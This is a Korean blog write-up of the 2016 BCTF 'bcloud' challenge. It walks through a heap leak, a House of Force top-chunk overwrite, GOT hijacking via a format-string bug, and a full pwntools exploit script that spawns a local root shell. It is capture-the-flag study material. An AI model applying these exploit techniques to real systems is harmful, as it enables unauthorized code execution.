티스토리 뷰

CTF write-up

2016 BCTF bcloud [ exploitation 150 ]

marshimaro aSiagaming 2017. 7. 24. 16:30

Heap exploit의 House of Force를 공부하며, 예제문제로 BCTF의 bcloud와 boston key party의 cookbook이 있었다.

일단은 bcloud문제부터 풀어보았다.


힙 공부하기 전에, 포멧스트링버그를 trigger하여 memory leak을 유도하는 문제가 있다곤 들었었는데... 이게 그 문제더라.

방향만 잘 잡으면 되게 simple하게 풀 수 있고, 아니면 좀 많이 삽질할 수 있겠다 싶은 문제이다. ( 물론 저는 초보니까 후자 )


leak하는 포인트와 chunk의 meta-data를 overwrite하는 지점을 나같은 초보가 처음부터 직관적?으로 바로 찾기는 조금 힘들었다.

문자열 출력과 strcpy같은 것은 null에서 끊기기 때문에, 이런것들에서 은근히 leak이 잘 일어나고 overwrite 지점이 잘 발생한다.





처음에 64크기만큼의 user-data영역을 가진 chunk를 하나 할당하고 s배열에도 64바이트만큼 입력을 받는다.

그리고 chunk에 data를 복사한다.

근데 read로 읽어주기때문에, null-byte없이 64바이트를 s배열에 다 채워주게되면 strcpy로 인해 바로 뒤에 따라오는 first_malloc에 저장된

chunk의 메모리주소도 같이 복사되게 된다.


따라서 밑의 print_intro부분에서 chunk에 저장된 data를 출력하면서 동시에 같이 복사된 chunk의 주소도 출력해준다.





House of force의 핵심인, top chunk의 size를 건드릴 수 있는 부분이다.

org_buffer가 먼저오고 third_malloc이 있으며, 그 다음에 host_buffer가 있다.

이 함수들까지 진행이 되게되면, 총 3개의 0x40크기의 chunk가 생기고 그 이후에 topchunk가 존재하게 된다.

만약 3번째 chunk의 user-data영역에 64바이트만큼 채우고 8바이트만큼을 더 쓸 수 있다면, topchunk의 size를 임의로 바꿀 수 있다.


여기서 strcpy로 인해 ord_buffer의 내용을 third_malloc chunk에 복사를 하는데

org_buffer에 64바이트를 널바이트 없이 채워주게되면

org_buffer의 64byte + third_malloc의 chunk주소 + host_buffer의 내용이 strcpy로 인해 들어가게 된다.

따라서 host_buffer의 내용에는 덮어줄 size값 0xffffffff를 넣어주면 topchunk size를 overwrite하는게 된다.


 그리고 메뉴를 분석해보면 실질적으로 사용하는건 1, 3, 4번의 메뉴들이다.

heap의 주소를 leak은 했지만 아직 라이브러리 주소라던가 그런 것을 모른다.


일단 topchunk size를 조작했기 때문에, House of force를 이용하여 got부분을 임의로 바꿔줄 수 있다.

라이브러리 주소를 모르니까 원하는 system함수나 그런걸로 바꿔줄 수는 없다.


메뉴를 입력받는 부분에서 atoi함수를 사용하는데, 문자열로 들어온 값하나만 인자로 받기때문에

만약 이 got부분을 printf로 돌려준다면, 포멧스트링 버그를 유발할 수 있다.


따라서 이 부분에서 libc leak이 가능하고, 2번 edit메뉴를 통해 atoi의 got부분을 원하는 system함수로 다시 덮어준 다음에

메뉴입력받는 값을 /bin/sh로 넣어주면, system("/bin/sh")가 실행되게 된다.




1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ x/0xf760d696
   0xf760d696 <printf+38>:    Cannot access memory at address 0xf760d696
gdb-peda$ p 0xf760d696 - 38
$1 = 0xf760d670
gdb-peda$ quit
Detaching from program: /shared/boston_key_party/bcloud, process 4842
ptrace: No such process.
root@6c7f37ea6051:/# cd tools/libc-database/
root@6c7f37ea6051:/tools/libc-database# ./find printf 670
ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu7_i386)
ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386)
root@6c7f37ea6051:/tools/libc-database#
cs



3번?째 부분에 저 부분이 leak이 되길래, 저걸로 libc_base를 구했다.

libc를 구했으니 이제 나머지는 슈루룩이다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
root@6c7f37ea6051:/shared/boston_key_party# python solve_bcloud.py
[*'/shared/boston_key_party/bcloud'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './bcloud': pid 6303
[◐] aSiagaming : Get Shell
[+] topchunk : 0x88570e0
[+] Heap base : 0x8857008
[+] printf : 0xf75ce670
[+] libc_base : 0xf7585000
[+] system_addr : 0xf75bfda0
333Input the id:
 
1Input the new content:
 
Edit success.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
 
[*] Switching to interactive mode
Invalid option.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
$ ls
bcloud      core         peda-session-bcloud.txt  test.py
cookbook  libc.so.6  solve_bcloud.py
$ id
uid=0(root) gid=0(root) groups=0(root)
$
cs



사실 개인적으로 이게 왜 150점인지 모르겠다.....

일단 House of force를 간단하게 정리해보자면....

topchunk size를 덮을 수 있어야하고, malloc을 이후에 2번 가능해야한다.

그리고 거기에 데이터를 집어넣을 수 있어야 한다.


아래는 익스코드



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
import re
 
context.binary = "./bcloud"
= process(["./bcloud"])
prog = log.progress("aSiagaming ")
atoi_got = 0x804b03c
printf_plt = 0x80484d0
 
p.recv()
p.send("A" * 64)
p.recvuntil("A" * 64)
 
leak = u32(p.recv(4))
topchunk = leak + 0xd8
log.success("topchunk : " + hex(topchunk))
log.success("Heap base : " + hex(leak))
p.recvuntil("Org:\n")
p.send("B" * 64)
p.recvuntil("Host:\n")
p.sendline(p32(0xffffffff))
p.recvuntil("option--->>")
 
size = atoi_got - topchunk
 
p.sendline("1")
p.recvuntil("Input the length of the note content:\n")
p.sendline(str(size - 8 - 4))
 
prog.status("PID : " + str(proc.pidof(p)[0]))
#pause()
 
p.recv()
p.sendline("1")
p.recvuntil("Input the length of the note content:\n")
p.sendline("8")
p.recv()
p.sendline("AAAA" + p32(printf_plt))
 
prog.status("Format string bug")
p.recvuntil("option--->>")
p.sendline("%p " * 20)
 
p.recvuntil("Invalid option.")
printf = int(p.recvuntil("Invalid option.")[-41:-31], 0- 38
p.recv()
 
libc_base = printf - 0x49670
system_addr = libc_base + 0x3ada0
log.success("printf : " + hex(printf))
log.success("libc_base : " + hex(libc_base))
log.success("system_addr : " + hex(system_addr))
 
p.sendline("333")
print p.recv()
p.sendline("1")
print p.recv()
p.sendline("BBBB" + p32(system_addr))
print p.recv()
 
prog.status("Get Shell")
p.sendline("/bin/sh")
p.interactive()
cs




댓글
댓글쓰기 폼